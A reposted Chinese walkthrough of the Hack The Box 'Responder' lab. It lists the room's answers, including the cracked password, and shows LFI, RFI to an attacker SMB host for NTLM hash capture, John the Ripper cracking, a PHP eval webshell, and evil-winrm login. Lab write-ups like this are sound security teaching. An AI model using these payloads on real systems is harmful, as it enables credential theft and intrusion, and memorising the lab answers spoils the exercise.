Hack The Box-Starting Point系列Responder

news2025/1/4 19:18:05

答案

  1. When visiting the web service using the IP address, what is the domain that we are being redirected to?(当使用IP地址浏览网站时,我们被重定向到了哪个站点?)
    unika.htb
  2. Which scripting language is being used on the server to generate webpages?(目标网站使用的是哪种脚本语言进行编写的?)
    php
  3. What is the name of the URL parameter which is used to load different language versions of the webpage?(用于加载网页不同语言版本的 URL 参数的名称是什么?)
    page
  4. Which of the following values for the page parameter would be an example of exploiting a Local File Include (LFI) vulnerability: “french.html”, “//10.10.14.6/somefile”, “…/…/…/…/…/…/…/…/windows/system32/drivers/etc/hosts”, “minikatz.exe”(“page”参数的以下哪个值是利用本地文件包含 (LFI) 漏洞的示例)
    ../../../../../../../../windows/system32/drivers/etc/hosts
  5. Which of the following values for the page parameter would be an example of exploiting a Remote File Include (RFI) vulnerability: “french.html”, “//10.10.14.6/somefile”, “…/…/…/…/…/…/…/…/windows/system32/drivers/etc/hosts”, “minikatz.exe”(“page”参数的以下哪个值是利用远程文件包含 (RFI) 漏洞的示例?)
    //10.10.14.6/somefile
  6. What does NTLM stand for?(NTLM 的英文全称是什么?)
    New Technology LAN Manager
  7. Which flag do we use in the Responder utility to specify the network interface?(我们在Responder工具中使用哪个参数来指定网络接口?)
    -i
  8. There are several tools that take a NetNTLMv2 challenge/response and try millions of passwords to see if any of them generate the same response. One such tool is often referred to as john, but the full name is what?.(有几种工具可以接受 NetNTLMv2 质询/响应并尝试数百万个密码,以查看其中是否有任何密码生成相同的响应。其中一个工具经常被称之为john, 但是其完整的名字是什么?)
    John the Ripper
  9. What is the password for the administrator user?(管理员用户的密码是啥?)
    badminton
  10. We’ll use a Windows service (i.e. running on the box) to remotely access the Responder machine using the password we recovered. What port TCP does it listen on?.(我们将使用 Windows 服务(即在机器上运行)远程访问使用我们恢复的密码Responder 机器。它侦听什么端口TCP?)
    5985

找啊找啊找Flag

  1. Nmap扫描一波,执行命令:nmpa -sV -sC 目标IP,发现没有什么结果
    在这里插入图片描述

  2. 那我们就扫描所有的端口,执行命令 nmap -p- -sV -sC 目标IP,我们发现开放了两个端口,分别是805985
    在这里插入图片描述

  3. 那我们首先访问一下80端口的网站,结果跳转到一个域名
    在这里插入图片描述

  4. 那如何继续访问呢,只需要修改本地host文件即可,vim /etc/hosts
    在这里插入图片描述

  5. 修改完成后我们再通过那个上面的域名进行访问,可以访问成功(访问可能会有点慢,静静等待即可。)
    在这里插入图片描述

  6. 挨个点击页面上的内容,会发现更改页面显示语言的参数为page,最主要的是参数值是个html文件,那我们就可以尝试一下任意文件读取。
    在这里插入图片描述

  7. 测试本地文件包含,修改参数值为/etc/passwd,即:http://unika.htb/index.php?page=/etc/passwd,我们猜测可能会有文件包含漏洞,并且使用的函数是include()
    在这里插入图片描述

  8. 通过之前的Nmap扫描结果或者报错页面,我们知道目标服务器的操作系统是Windows,所以我们可以尝试包含一下C:\Windows\win.ini测试一下测试链接:http://unika.htb/index.php?page=C:\Windows\win.ini 。通过结果我们可以看到成功包含。
    在这里插入图片描述

  9. 让我们使用伪协议测试一下,如下图所示:通过结果可以看到不太行呢,因为php://input要求allow_url_include必须是打开的状态,也就是说我们无法进行远程文件包含。那我们怎么办呢,不能上传木马也白搭啊。
    在这里插入图片描述10. 尝试使用php:filter读取index.php源码。http://unika.htb/index.php?page=php://filter/read=convert.base64-encode/resource=index.php
    在这里插入图片描述在这里插入图片描述

  10. 通过查阅资料得知,可以使用SMB进行绕过,详情参见:PHP远程文件包含(RFI)并绕过远程URL包含限制

  11. 接下来我们要开启SMB服务

  12. 在kali的桌面创建一个名为smbserve.py的文件,然后将以下代码复制到文件中,源文件位置:https://github.com/fortra/impacket/blob/master/examples/smbserver.py
    代码

#!/usr/bin/env python
# Impacket - Collection of Python classes for working with network protocols.
#
# Copyright (C) 2022 Fortra. All rights reserved.
#
# This software is provided under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description:
#   Simple SMB Server example.
#
# Author:
#   Alberto Solino (@agsolino)
#
import sys
import argparse
import logging
from impacket.examples import logger
from impacket import smbserver, version
from impacket.ntlm import compute_lmhash, compute_nthash
if __name__ == '__main__':
    # Init the example's logger theme
    print(version.BANNER)
    parser = argparse.ArgumentParser(add_help = True, description = "This script will launch a SMB Server and add a "
                                     "share specified as an argument. You need to be root in order to bind to port 445. "
                                     "For optional authentication, it is possible to specify username and password or the NTLM hash. "
                                     "Example: smbserver.py -comment 'My share' TMP /tmp")
    parser.add_argument('shareName', action='store', help='name of the share to add')
    parser.add_argument('sharePath', action='store', help='path of the share to add')
    parser.add_argument('-comment', action='store', help='share\'s comment to display when asked for shares')
    parser.add_argument('-username', action="store", help='Username to authenticate clients')
    parser.add_argument('-password', action="store", help='Password for the Username')
    parser.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes for the Username, format is LMHASH:NTHASH')
    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')
    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
    parser.add_argument('-ip', '--interface-address', action='store', default='0.0.0.0', help='ip address of listening interface')
    parser.add_argument('-port', action='store', default='445', help='TCP port for listening incoming connections (default 445)')
    parser.add_argument('-smb2support', action='store_true', default=False, help='SMB2 Support (experimental!)')
    if len(sys.argv)==1:
        parser.print_help()
        sys.exit(1)
    try:
       options = parser.parse_args()
    except Exception as e:
       logging.critical(str(e))
       sys.exit(1)
    logger.init(options.ts)
    if options.debug is True:
        logging.getLogger().setLevel(logging.DEBUG)
        # Print the Library's installation path
        logging.debug(version.getInstallationPath())
    else:
        logging.getLogger().setLevel(logging.INFO)
    if options.comment is None:
        comment = ''
    else:
        comment = options.comment
    server = smbserver.SimpleSMBServer(listenAddress=options.interface_address, listenPort=int(options.port))
    server.addShare(options.shareName.upper(), options.sharePath, comment)
    server.setSMB2Support(options.smb2support)
    # If a user was specified, let's add it to the credentials for the SMBServer. If no user is specified, anonymous
    # connections will be allowed
    if options.username is not None:
        # we either need a password or hashes, if not, ask
        if options.password is None and options.hashes is None:
            from getpass import getpass
            password = getpass("Password:")
            # Let's convert to hashes
            lmhash = compute_lmhash(password)
            nthash = compute_nthash(password)
        elif options.password is not None:
            lmhash = compute_lmhash(options.password)
            nthash = compute_nthash(options.password)
        else:
            lmhash, nthash = options.hashes.split(':')
        server.addCredential(options.username, 0, lmhash, nthash)
    # Here you can set a custom SMB challenge in hex format
    # If empty defaults to '4141414141414141'
    # (remember: must be 16 hex bytes long)
    # e.g. server.setSMBChallenge('12345678abcdef00')
    server.setSMBChallenge('')
    # If you don't want log to stdout, comment the following line
    # If you want log dumped to a file, enter the filename
    server.setLogFile('')
    # Rock and roll
    server.start()
  1. 在桌面打开终端运行:python smbserver.py -debug -smb2support share ./
    在这里插入图片描述

  2. 在桌面创建一个名为info.php的文件,文件内容为: <?php phpinfo();?>,然后访问链接:http://unika.htb/index.php?page=\\10.10.16.54\share\info.php,注意这里的地址是你攻击机开着代理的地址,网卡是tun0,因为只有这样靶机才能访问到你的机器,也就是说,这里的地址可以是你外网服务器的地址,只要靶机能够访问即可。
    在这里插入图片描述

  3. 查看tun0的地址
    在这里插入图片描述

  4. 查看一下刚刚开启的smbserver,发现捕获到了HASH
    在这里插入图片描述

  5. 我们将hash值手动复制到一个文件中,例如hash_text,注意是上图中info后的所有内容

  6. 然后使用john破解,输入命令 john -w=./rockyou.txt hash_text,-w指定使用的字典,我这里把rockyou.txt放在了桌面上。
    在这里插入图片描述

  7. 另外一种方法就是:直接远程包含一个一句话木马,然后上机找flag,一句话木马为:<?php @eval($_POST['shell']);?>,使用蚁剑进行连接

  8. 连接成功后使用文件管理器,查看目标服务器上有哪些文件

  9. 通过查找发现有两个可疑的用户,最后发现flag.txt文件在mike用户下的Desktop文件夹中

  10. 再一个方法就是使用Responder,使用git 下载源码:git clone https://github.com/lagandx/Responder.git,然后进入该文件夹中 (目前已查无此人)

  11. 执行命令 ./Responder.py -I tun0

  12. 然后构造payload进行访问:http://unika.htb/index.php?page=//10.10.16.54/t,这里的IP地址为你网卡tun0显示的IP地址,这里的t为任意,其代表的时smb服务器中的某个文件。报错的原因是我们没有t这个文件,但是靶机做出了这个请求。

  13. 查看Responder,发现捕获到了HASH,然后CTRL+C结束进程,

  14. 在当前位置执行:./DumpHash.py 用来导出HASH,执行成功后会生成两个文件

  15. 使用john破解密码,john -w=/usr/share/wordlists/rockyou.txt DumpNTLMv2.txt,这里指定的字典应该是kali中自带的最大的字典了。最后跑出来的就是我们的密码.这玩意儿跑出来有啥用呢,一个是为了填写答案,另一个就是用来远程登录了,Nmap扫描到5985端口,这个端口一般是干嘛的呢,就是Winrm的服务,2.0版本默认端口是5898或者5896,老版本是80或者443端口

  16. 下面我们使用kali的winrm工具进行远程登录操作,执行命令:evil-winrm -u Administrator -p badminton -i 10.129.96.94 -P 5985,登录成功后找flag即可。
    在这里插入图片描述

  17. 美滋滋
    在这里插入图片描述

涉及的知识点

  1. hosts文件用于域名解析的,在做题过程中如果通过域名或者IP无法访问靶机,可以尝试修改hosts文件进行域名与IP的绑定
  2. php的文件包含漏洞:https://blog.csdn.net/Fly_hps/article/details/80926992
  3. 远程文件包含的绕过:PHP远程文件包含(RFI)并绕过远程URL包含限制
  4. Responder的使用:https://www.freebuf.com/articles/network/256844.html
  5. john的使用:https://blog.csdn.net/blue_starry_sky/article/details/61206488
  6. WinRm:https://cloud.tencent.com/developer/article/1937035

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2270208.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

网络物理互连

案例简介 美乐公司为新创建公司&#xff0c;公司现需要架设网络&#xff0c;需要下属分公司通过路由器与外网服务器联通&#xff0c;请使用Packet Tracer&#xff0c; 按照任务要求完成实验。实验中需配置设备或端口的IP地址。 1、绘制拓扑图 2、配置ip地址 3、配置路由ip R0 …

GDB:条件断点:判断相等时使用一个等号还是两个等号

GDB&#xff1a;条件断点&#xff1a;判断相等时使用一个等号还是两个等号 这其实是一个特别简单的问题&#xff0c;网上不同的人分享的也不一样&#xff0c;有的例子用“”&#xff0c;有的例子用“”。 用最简单的helloworld来实验一下&#xff1a; #include <stdio.h&…

TypeScript 常用类型

文章目录 1. 类型注解2. 原始类型3. 数组类型4. 联合类型5. 类型别名6. 函数类型7. 对象类型8. 接口类型8.1 接口声明8.2 接口继承 9. 元组类型10. 类型断言11. 字面量类型12. 枚举类型12.1 数字枚举12.2 字符串枚举 13. any 类型14. typeof 运算符 1. 类型注解 前言&#xff1…

路由基本配置实验

路由器用于实现不同类型网络之间的互联。 路由器转发ip分组的基础是路由表。 路由表中的路由项分为直连路由项、静态路由项和动态路由项。 通过配置路由器接口的ip地址和子网掩码自动生成直连路由项。 通过手工配置创建静态路由项。 热备份路由器协议允许将由多个路由器组…

在Ubuntu 18.04.6 LTS安装OpenFace流程

修改配置:将gcc8&#xff0c;g8作为默认选项 sudo update-alternatives --install /usr/bin/gcc gcc /usr/bin/gcc-8 100 sudo update-alternatives --config gcc sudo update-alternatives --install /usr/bin/g g /usr/bin/g-8 100 sudo update-alternatives --config g 查…

通过 4 种方式快速将音乐从 iPod 传输到 Android

概括 在 iPod 上听音乐很酷&#xff0c;但是当您拥有最新的 Android 手机时&#xff0c;也许您想在新手机上欣赏 iPod 音乐。那么&#xff0c;你的计划是什么&#xff1f;如何将音乐从 iPod 传输到 Android&#xff1f; 如果您担心这个问题&#xff0c;请看看下面的方法。他们…

Golang学习历程【第五篇 复合数据类型:数组切片】

Golang学习历程【第五篇 复合数据类型&#xff1a;数组&切片】 1. 数组&#xff08;Array&#xff09;1.1 数组的定义1.2 初始化数组1.3 数据的循环遍历1.4 多维数组 2. 切片&#xff08;Slice&#xff09;2.1 切片声明、初始化2.2 基于数组创建切片2.2 切片的长度(len)和容…

PDF预览插件

PDF预览插件 可用于当前页面弹窗形式查看,可增加一些自定义功能 pdf预览插件 代码块: pdfobject.js <div class="pdfwrap"><div class="item"><h3>笑场</h3><div class="tags"><p>李诞</p><i&…

Chrome 浏览器下载安装教程,保姆级教程

大家好&#xff0c;今天我们来聊一聊如何在国内下载和安装最新版本的 Chrome 浏览器。由于众所周知的原因&#xff0c;Google 的网站在国内是被屏蔽的&#xff0c;因此很多朋友在下载 Chrome 浏览器 时会遇到困难。其实&#xff0c;不必担心&#xff0c;今天我将为大家带来一份…

Java开发 PDF文件生成方案

业务需求背景 业务端需要能够将考试答卷内容按指定格式呈现并导出为pdf格式进行存档&#xff0c;作为紧急需求插入。导出内容存在样式复杂性&#xff0c;包括特定的字体&#xff08;中文&#xff09;、字号、颜色&#xff0c;页面得有页眉、页码&#xff0c;数据需要进行表格聚…

CSS进阶和SASS

目录 一、CSS进阶 1.1、CSS变量 1.2、CSS属性值的计算过程 1.3、做杯咖啡 1.4、下划线动画 1.5、CSS中的混合模式(Blending) 二、SASS 2.1、Sass的颜色函数 2.2、Sass的扩展(extend)和占位符(%)、混合(Mixin) 2.3、Sass的数学函数 2.4、Sass的模块化开发 2.5、Sass…

GXUOJ-算法-补题:22级《算法设计与分析》第一次课堂练习

2.最大子数组和 问题描述 代码解答 #include<bits/stdc.h> using namespace std; const int N1005; int sum,n,a[N]; int res-1;int result(){for(int i0;i<n;i){if(sum<0) suma[i];else{suma[i];resmax(res,sum);}}return res; } int main(){cin>>n;for(i…

纵览!报表控件 Stimulsoft Reports、Dashboards 和 Forms 2025.1 新版本发布!

Stimulsoft 2025.1 新版发布&#xff0c;旨在增强您创建报告、仪表板和 PDF 表单的体验&#xff01;此最新版本为您带来了许多改进和新功能&#xff0c;使数据处理更加高效和用户友好。亮点包括对 .NET 9 的支持、Microsoft Analysis Services 的新数据适配器、发布向导中适用于…

Javascript-web API-day04

文章目录 01-实例化日期对象02-常见的日期对象方法03-年月日案例04-年月日简化05-得到时间戳06-倒计时07-关闭节点08-子节点09-增加节点10-克隆节点11-删除节点12-m端时间13-(swiper插件的使用)移动端轮播图游乐园项目 学成在线重构 01-实例化日期对象 <!DOCTYPE html> …

Formality:匹配(match)是如何进行的?

相关阅读Formalityhttps://blog.csdn.net/weixin_45791458/category_12841971.html?spm1001.2014.3001.5482 匹配点、对比点和逻辑锥 匹配指的是Formality工具尝试将参考设计中的每个匹配点与实现设计中的相应匹配点进行配对&#xff0c;这里的匹配点包括对比点(Compare Point…

浅谈电力监控系统在厂房电力工程中的设计与应用

安科瑞汪洋/汪小姐/汪女士---Acrelwy 摘要 &#xff1a;电力监控系统在厂房电力工程中的应用&#xff0c;稳步提升了电力系统管理的智能化、信息化水平&#xff0c;确保电力资源的合理化应用&#xff0c;满足工业生产的基本需求。为确保电力监控系统与厂房电力工程的有效结合&…

AIGC生图实战技巧分享

目录 引言 &#x1f343;安装与配置代码 &#x1f343;数据处理代码 &#x1f343;生图请求代码 引言 本文展示了 AIGC 生图相关的代码示例&#xff0c;包括安装与配置、数据处理以及生图请求等不同阶段的代码&#xff0c;清晰呈现了整个技术实现过程中代码层面的操作要点和…

Mac iTerm2集成DeepSeek AI

1. 去deepseek官网申请api key&#xff0c;DeepSeek 2. 安装iTerm2 AI Plugin插件&#xff0c;https://iterm2.com/ai-plugin.html&#xff0c;插件解压后直接放到和iTerms相同的位置&#xff0c;默认就在/Applications 下 3. 配置iTerm2 4. 重启iTerm2,使用快捷键呼出AI对话…

akamai3.0反爬教程逆向分析9个视频汇总

目录 一、akamai2.0文章二、akamai3.0每月疑似改版点二、9个视频汇总如下 一、akamai2.0文章 文章1cookie反爬之akamai_2.0-上文章2cookie反爬之akamai_2.0-上文章3cookie反爬之akamai_2.0-上文章中akamai2.0对应调试html与js文件 二、akamai3.0每月疑似改版点 详细文字与2.…

解决chatgpt(mac app登陆)出现报错:获取您的 SSO 信息时出错

由于我们是app登陆的&#xff0c;不能直接修改网站的链接&#xff0c;将 URL 的域名部分从 auth.openai.com 变更为 auth0.openai.com&#xff0c;然后加载新的地址&#xff0c;这时候应该就可以正常登录或注册了。 所以我们使用邮箱先载入auth0的地址&#xff0c;再更改自己的…